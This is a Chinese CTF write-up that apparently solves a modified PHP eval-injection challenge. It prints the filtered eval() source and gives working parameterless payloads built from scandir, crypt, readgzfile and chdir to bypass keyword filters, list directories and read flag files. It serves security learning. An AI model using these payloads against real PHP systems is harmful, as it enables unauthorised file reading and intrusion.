0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)
阅读本文前建议先阅读本站中的另一篇文章:[GXYCTF2019]禁止套娃
重要参考链接:http://www.heetian.com/info/827
Leon师傅魔改了[GXYCTF2019]禁止套娃这道题,将过滤掉的字符串增加了一大堆.打开题目得到的源码如下:
1 <?php
2 header("Content-Type: text/html;charset=utf-8");
3 highlight_file(__FILE__);
4 error_reporting(0);
5 if(isset($_GET['exp'])){
6 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//im', $_GET['exp'])) {
7 if(';' === preg_replace('/[^\W]+\((?R)?\)/', NULL, $_GET['exp'])) {
8 if (!preg_match('/et|cu|pos|show|high|reset|local|sess|header|readfile|heb|oo|info|dec|bin|ex|oct|pi|sys|open|log/im', $_GET['exp'])) {
9 @eval($_GET['exp']);
10 }
11 else{
12 die("还差一点哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("还想读flag,臭弟弟!");
21 }
22 }
23 ?>
我们可以看到在第八行Leon师傅将能禁的字符串几乎都禁了一遍,于是菜狗M1saka开始了构造:
首先我们需要遍历当前目录,即我们需要构造scandir(".").即构造".",这里给出我们的思考过程:
- 利用localeconv()函数得到"." localeconv()函数返回的是包含本地数字及货币格式信息的数组,这个数组的第一个元素就是".",利用current(localeconv())就可以得到".",但是帅气的Leon师傅把我们的local直接给禁了,这个思路不通.
- "."可以用chr(46)进行表示,于是我们开始绞尽脑汁构造46:chr(rand()) chr里面的值只需要是周期内的46都可,但是chr(rand())获得46的几率过小,像我这种非酋就不必了吧; 我们也可以利用时间函数去获得46,毕竟时间函数获得的是0~60之间的数字,比rang几率大多了.但是每一次构造payload都要等一分钟,实在是麻烦 ; 第三种我们可以利用PHP的数学函数,结合phpversion()去尝试拼凑出46.本题的环境是7.0.3,于是在exp中构造得到ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))));,运行得到46 但是我们机制的Leon师傅直接把"oo"给ban了,于是这个方法还是不通.
- hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符.可是Leon师傅继续ban了'heb',此路不通.
4.strrev(crypt(serialize(array())))可以得到"."这就是这道题第一步的突破点.上图:


但是在第二张图里面我们发现读到了根目录,其实strrev(crypt(serialize(array())));不光能获得".",还能获得"/",于是就读到了根目录
读完文件夹之后我们已经看到了flag.php,于是我们尝试去读取:
1 payload:readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
因为flag.php在倒数第二个位置,并且Leon师傅ban了"ex",并不能使用next()函数,所以我们采取这种读取随机文件的方式,array_rand(array_flip())选取该文件夹用数组表示的任意一个元素并且将键值与元素进行调换,array_rand()函数是随机选取数组中的一个元素,于是我们在传入这个payload之后,要进行多次刷新,这样的话我们不但能读到flag.php与index.php,
还有一个小细节,因为Leon师傅ban了show_source() , readfile(),high_light(), 等常用读文件函数,于是我们使用readgzfile()函数,回显在源码里面
于是我们成功读到了flag.php:

针不龊 假的flag针不龊
做到这里M1saka直接冲到楼上Leon师傅的寝室去暴打他。
既然我们已经知道flag在上级目录里面,接下来的操作就是先尝试去查看上级目录里面的文件,进行目录穿越,找到真正的flag之后进行读取。并且我们需要用chdir()进行目录切换,否则在当前目录并不能读取上层目录的文件。
接下来我们要去尝试构造"..",因为getcwd()与hebrevc(crypt(time()))都被我们帅气的Leon师傅ban了,仔细一想,似乎刚刚在遍历目录的时候,第二个数组永远是".."于是我们可以尝试使用套娃的方式去获得".."
1 payload:?exp=print_r(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));
因为是随机选取数组元素,我们需要多进行几次刷新才能获得回显,期望回显如下图:

坏蛋Leon放了好几个假flag嘤嘤嘤
我们已经可以推断出该题的文件结构:var文件夹里面存在的是www文件夹,www文件夹里面存在的是fackflag.php,noflag.php,realflag.php以及html文件夹,就是我们题目初始所在的文件夹。
此时如果我们直接对www文件夹进行读取的话并不会有任何的回显,因为在本题目中默认的文件夹是我们的html文件夹,不能直接进行跨文件夹读取文件,于是我们开始尝试用chdir()函数进行切换文件夹。
realpath()函数返回该文件的绝对路径,在本题中应用:
1 payload:?exp=print_r(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))));
得到的回显有两种:/var/www/html与/var/www/html/index.php
原因是我们的随机函数有可能会选到当前目录或者index.php,我们可以使用dirname()函数返回当前路径下的目录,然后chdir()该目录就能转到我们想要的目录并进行文件读取。(记得多刷新亿次因为我们使用的是随机函数)
巧用if()函数的payload:
if()函数进行切换目录,如果切换成功了的话进行随机文件读取(与我们刚开始读假flag的手段一样)因为if语句的中如果切换目录失败了的话就不能执行后面的语句,起到了一定的过滤性
payload:?exp=if(chdir(dirname(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
来看看Leon师傅藏了多少flag:


最终我们还是读到了真正的flag(给你干净防止小b崽子们不好好学习白嫖flag)

0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)的更多相关文章
- [GXYCTF2019]禁止套娃 1 &无参数RCE
[GXYCTF2019]禁止套娃 1 啥都没有那只能上扫描器来一探究竟了. 扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403. <?php include "fla ...
- [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃
[BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...
- [GXYCTF2019]禁止套娃(无参RCE)
[GXYCTF2019]禁止套娃 1.扫描目录 扫描之后发现git泄漏 使用githack读取泄漏文件 <?php include "flag.php"; echo &quo ...
- [GXYCTF2019]禁止套娃
0x00 知识点 无参数RCE eval($_GET['exp']); 参考链接: https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/ ...
- 刷题[GXYCTF2019]禁止套娃
梳理思路 打开网站,发现很简单,只有flag在哪里的字样. 查看源码,常用后台目录,robots.txt,都未发现有任何东西. 扫描 直接拉进扫描器一扫,发现 思考可能是git源码泄露,可能可以恢复源 ...
- 魔改版ss-panel v3前端配置文件
配置文件所在目录:网站根目录/config/.config.php <?php // ss-panel v3 配置 // // !!! 修改此key为随机字符串确保网站安全 !!! $Syste ...
- sspanelv3魔改版邮件设置指南及常用配置
要进行SSpanel v3魔改版邮件设置,需要在设置文件(位于config/.config.php下)中修改两处内容: 1.设置发送邮件的方式 $System_Config['enable_email ...
- 魔改版BBR
魔改版bbr加速: wget -N --no-check-certificate "https://raw.githubusercontent.com/chiakge/Linux-NetSp ...
- 【题解】kth异或和/魔改版线性基
[题解]魔改版线性基 魔改版线性基解决此类问题. 联系线性空间的性质,我们直接可以构造出这样的基: \[ 100000 \\ 010000 \\ 000010 \\ 000001 \] 使得每个基的最 ...
随机推荐
- LayUi超级好用的前端工具
日期:https://www.layui.com/laydate/ LayUi 首页地址:https://www.layui.com/
- leetcode刷题-61旋转链表
题目 给定一个链表,旋转链表,将链表每个节点向右移动 k 个位置,其中 k 是非负数. 示例 1: 输入: 1->2->3->4->5->NULL, k = 2输出: 4 ...
- 阿里云前端路线 | CSS快速掌握
1.1什么是CSS 翻译为“层叠样式表”或者“级联样式表”, 简称样式表. 1.2CSS的主要作用 它主要是用来给HTML网页来设置外观或者样式 外观或者样式:HTML网页中的文字的大小.颜色.字体, ...
- Javaweb应用中配置错误跳转页面
关于在Javaweb应用中配置错误跳转页面 应用场景,比如服务器的出现404错误,我们想让它返回跳转到我们自定义的错误页面 解决方法: 主要在web.xml文件中进行配置,这里玩的错误页面都单独放在e ...
- 【微信小程序】常用组件及自定义组件
(一) 常用标签 组件你可以理解为传统页面开发时候的各种标签,例如 div span 等等,我这里只说一些常用的,这样就能能搭建出一个基本的页面了,但是如果想要更加美观以及拥有更好的体验,就需要 XS ...
- TKE基于弹性网卡直连Pod的网络负载均衡
前言 Kubernetes在集群接入层设计并提供了两种原生资源Service和Ingress,分别负责四层和七层的网络接入层配置. 传统的做法是创建Ingress或LoadBalancer类型的Ser ...
- tomcat在linux服务器启动时报错Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000794500000, 576716800, 0) failed; error='Cannot allocate memory' (errno=12)
原因是内存不足了 解决办法:1.top命令查看后台进程,看哪些可以关闭 2.ps -ef |grep tomcat看哪些不用的tomcat起着,也可以从这里关 3.加大这个tomcat的内存, 在ca ...
- Docker实战(7):Docker无日志(无*-json.log文件)
出现这种情况基本都是docker 版本太旧,我的处理方案就是将docker 版本升级到最新,然后重新docker run 一遍就会有了.注意:docker 升级后,原来images,容器会出现一些小问 ...
- 微信小程序入门到精通
微信小程序账号与工具 在线文档:https://mp.weixin.qq.com/debug/wxadoc/dev/ 小程序开发者账号注册 微信公众平台:https://mp.weixin.qq.co ...
- yml文件
博文内容来自https://blog.csdn.net/chang_li/article/details/78667652 项目里用到yml文件作为配置文件,了解下其实挺简单,它的基本语法如下 大小写 ...